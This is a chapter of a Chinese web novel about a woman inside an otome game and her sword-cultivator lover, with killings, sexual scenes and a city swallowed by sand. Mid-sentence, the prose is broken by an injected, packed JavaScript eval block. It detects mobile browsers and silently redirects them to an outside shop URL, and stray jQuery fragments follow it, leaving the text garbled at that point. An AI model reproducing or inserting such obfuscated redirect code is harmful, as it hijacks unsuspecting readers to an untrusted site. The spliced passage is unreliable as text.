易元宗的老祖宗一开始并不在燕临歧的封印范围里。
但很不巧,在他动手那天,这位祖宗刚好来找他算那几个桃子的账。燕临歧一个手抖,干脆把他也一起封印了。
易元宗以血缘传承,宗中每一位修士都是彼此的亲戚,也都会修习卜卦之术。
在这位祖宗消失千年之后,一位天才横空出世,她继承了父亲的遗憾,一直在试图寻找那位失踪的祖辈。
她的天赋让她占卜到了燕临歧,也让她送了命。
“我不会把他放出来的,所以她决定和我拼命。”
他有一点困扰的样子:“她明知道自己会死,还是要和我拼命,所以我只能送她去死了。”
就这样,精通卜算的易元宗,每过几代,就会有一位天资绝佳的人算到,他们宗门中有一笔血债还未收回。
不停地有人冲到燕临歧面前送死,燕临歧也一次又一次,不知厌烦地送他们去死。
杀人于他,已经是再简单不过的事了。
甚至比思考今天吃什么要简单。
他时常几十年都不吃一点东西,却很少几十年都不杀一个人。
“那你为什么留了卜从霜一命?”
和宜好奇道,他转性了?
燕临歧单手撑头,看着她说:“如果我说我突然想做个好人了,你信吗?”
“不信。”和宜把头摇成了拨浪鼓。
燕临歧抬起指尖,描摹她的眉眼。
而后笑着问:“和宜,有一件事,我想问你很久了。”
“在你眼中,我是什么?”
“老公啊。”和宜不假思索地回答,“要不是为了和你结婚,我也不会跑来跑去地折腾。”
就算开局满好感,感情也还是要培养的!
燕临歧笑意浅淡:“在茶馆见到我的时候,你就这样想吗?”
“当然。”
和宜想,在进游戏之前,她就这样想。
她玩游戏,从来是all党。除非狠狠踩了她的雷点,不然她对男主都是很包容溺爱的。
老公做什么都是对的,是无可奈何的,是有苦衷的,是应该被她支持的。
她爱这些为了爱她而诞生的存在。
在相识之前。
燕临歧过分美丽,只是让她更爱了一点而已。
“所以,我在你眼里,只是戏剧中的一个角色。”他突然说,“我们在共同演出一场戏剧,扮演一对相爱的人。你沉浸在这个角色之中,你爱我,因为按照剧本,你应该爱我。”
和宜不认同。
“那也不是。剧本之外,我也很爱你呀。”
爱他的,不只是游戏中的“主角”,更是游戏外的玩家。
不喜欢的话,她大可以避开,不走他这条线,不攻略他就好了。
可燕临歧想要的不是这些。
他要的不是这个!
他攥紧手中的剑,生出一种劈开这个世界的冲动。
他要让她看到,这里才不是一场游戏。
平澜不是假的!
和宜看到,那柄自相遇以来,燕临歧就从不离身的剑,正在被他缓缓拔出。
闪烁着寒光的锋芒,在露出一点之后,又被他反手按了回去。
燕临歧汗出了满身,看起来竟然比刚才和她换命时还要虚弱。
她赶紧按住他的手,也按耐住自己想抽他两下的冲动,命令道:“你先休息好,有什么话等你恢复了再说。”
燕临歧顶着脑海中尖锐的嗡鸣,分辨出天道的声音。
【就让她认为这都是假的吧。】
【只有一切都是假的,她才不会为分开而伤心。】
【你已经把她拉到这个世界,困在这里,让她无法离开了,你已经不能再陪伴她更久了,你还要让她的痛苦再多上一层吗?】
【不要再错下去了。】
他痛苦地张开唇,却无法发出任何声音。他浑身都在战栗,脑海中的嗡鸣还在持续着,一刻都不肯放过他。
【接受吧。这对你和她来说,都是最好的结局。】
他的牙齿不受控制地闭合,咬断了他的舌头。
在那半截舌头掉出来之前,他终于屈服。
——好吧。就这样吧。
他想。
一切杂音褪去,世界重归寂静,耳边只有和宜缓慢的呼吸声。
她不知何时掐住了他的下巴,此刻正抬起他的脸,仔细观察着他的瞳孔。
失焦的视线重新汇聚的时候,他看到一张写满了担忧的脸。
“后遗症吗?怎么突然加重了?”
他用术法黏上口中的舌头,颤着音说:“没……事,一点小意外。”
和宜想要再问,却被他突然拉到怀里,死死按在胸口,被他的乳肉堵了满嘴。
“我们结婚吧。”
他说。
和宜有点晕奶。
他似乎用了什么法术,明明刚刚才出了汗,此刻身上却是干净爽朗的,没有半点潮气,更没有汗腥的味道。
只有一股阳光暴晒后的暖意,紧贴着她的脸,让她整个人都生出迷糊的躁动。
和宜当然说不出拒绝的话。
她的手已经蹿进了他的衣服里:“好啊。”
“城里的人搬空了吗?”
她一边挑拨着,还不忘问他的任务进度怎么样了。
燕临歧用灵力扫了一圈:“走光了。”
最后一艘云舟刚刚出发,除了他们院子里的花花草草,这座城已经没有活物了。
他的考验,她全都做完了。
“那你的禁制……?”
和宜的手向南流窜作案。
燕临歧一只胳膊搭在眼上,全黑的视野中,她的每一点动作都格外的明显。
“……成婚会解开。”
和宜的手顿了顿。
“这个禁制施法要……贴着放吗?”
他忍不住敲了敲她的头。
“胡思乱想什么?算了,告诉你也无妨。这个禁制是我自己下的。”
和宜:……
这么洁身自好,不愧是乙游男主!
她一只手忙着宠幸他身上的肌肉,另一手腾出空来,去解他的衣服腰上的系带。
他的衣服看似紧身,实则是一长条宽阔的衣服,套上后绕着腰紧紧卷了几层,再裹起来用腰带捆住。
这样做的好处是穿着简便。
坏处是脱的时候最好站起来。
和宜扒开了最表层的一面,要从他腰后把衣服抽出来。
燕临歧配合着,懒散地抬起了腰。
她的手穿过他的腰下,扯着一片式的衣服,就要把它拉过来。
燕临歧却突然又沉下腰,把她的胳膊连带着那半截衣服,一起压在了自己的身下。
他一臂使力,环住她的腰,转了个圈,两人侧躺着相对。他吻上去。
呼吸深深浅浅的相应。
和宜的手从他裤子里转移到脸上,小手盖住他四分之三的脸。指尖恰好落在他的眼角。
一吻结束,他睁开眼,她的指尖处传来微弱的湿意。
和宜看到他眼中纯粹无光的黑色。
她被眼前的人震惊到说不出话,似乎是第一次认识他一样。
明明是同样的脸,却显露出如此不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873988|212033||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
同的气质。
他从前是温柔的,有求必应的,渴望她的。
如今看起来却……
充满贪婪的索求,疯狂的邪欲。像掌控人间的恶魔,要把一切都拖下他的地狱。
和宜感到陌生的同时,感到一种异样的刺激。
他们谁都没有说话。
和宜的手蠢蠢欲动。
燕临歧低笑了一声。
她果然……无论他怎样都不会怕吗?
“后天吧。”他说。
“成婚之前,先忍两天,好吗?”
和宜答应了。
但她想知道:“为什么?婚前禁欲也是你们的习俗吗?”
“不是。我知道你想要什么,但你的感觉是错的。”他短促地说,“在禁制解开之前,当你触碰我的时候,我所体验到的只是触觉而已。除此之外,我什么都感觉不到。你不论碰哪里,对我而言,都和摸我的手是一样的感觉。”
简而言之,性唤起这种事是不存在的
和宜震惊,和宜委屈:“这么重要的事你不早说!”
燕临歧好像又变回了从前那个对她百依百顺的剑修。
“我只是希望你更喜欢我一点。”
和宜哽住。
好吧,她可以接受这个理由。
早知道他的身体像木头一样的话,她确实不会这么着迷。
人是很难对石雕有那种冲动的。
尤其是,以她的取向,全部的乐趣都在于承受者的反应。
她似乎明白直男听到“其实我从来都没有爽到过,只是演戏给你看”的时候是什么心情了。
“那你……为什么不继续演呢?”
一直装下去啊,为什么要突然和她说实话啊!
“因为你马上就能看到真实的样子了。我怕差别太大,你一下就发现了,比起来被揭穿,我还是更想提前告诉你。”
给她两天缓冲时间,以免她突然发现太生气了。
和宜无力地笑了。
哈哈,好了解她的男人。
“我会让你‘爽’到的,我保证。”
不让燕临歧哭着求她放过他,都对不起他这些日子身临其境的演技!
和宜气鼓鼓地决定,在他的禁制解开之前,除了接吻和牵手,她再也不要碰他了!
燕临歧突然把她打横抱起。
和宜尖叫:“啊,你干什么!”
他今天真的好奇怪!
燕临歧闲庭信步一般,两步便跨出了宅子,站在立秧城的街上。
街景雅致优美,却再无一丝人烟。
路边的面馆还开着门,灶台上放着几根昨日择好的青菜,仿佛主人只是出去走走,很快就会回来。
但他们永远不会回来了。
和宜出神地想着。
抱着她的人说:“我赦免对芹的诅咒。归去吧,黄泉。”
于是,在和宜的眼中,一切都开始下沉。
金色的流沙从地底涌起,除了他们立足的狭隘土地之外,黄沙狂乱地肆虐,咆哮着把一切都卷入风暴之中。
面馆的旗子咔嚓断落,被卷去遥远的天空。
土已经漫过面馆的桌椅,很快就要顺着楼梯爬上二楼,把每一处空间都塞的满满当当。
事已至此,和宜还有什么不明白的。
那个所谓地陷的卜卦,卜到的根本不是天灾,而是由燕临歧一手主导的人祸!
但在质问之前,她说:
“家,我们的家!”
别把她的大院子也沉底了呀!
燕临歧声音中染上笑意。
“它已经不在那里了。”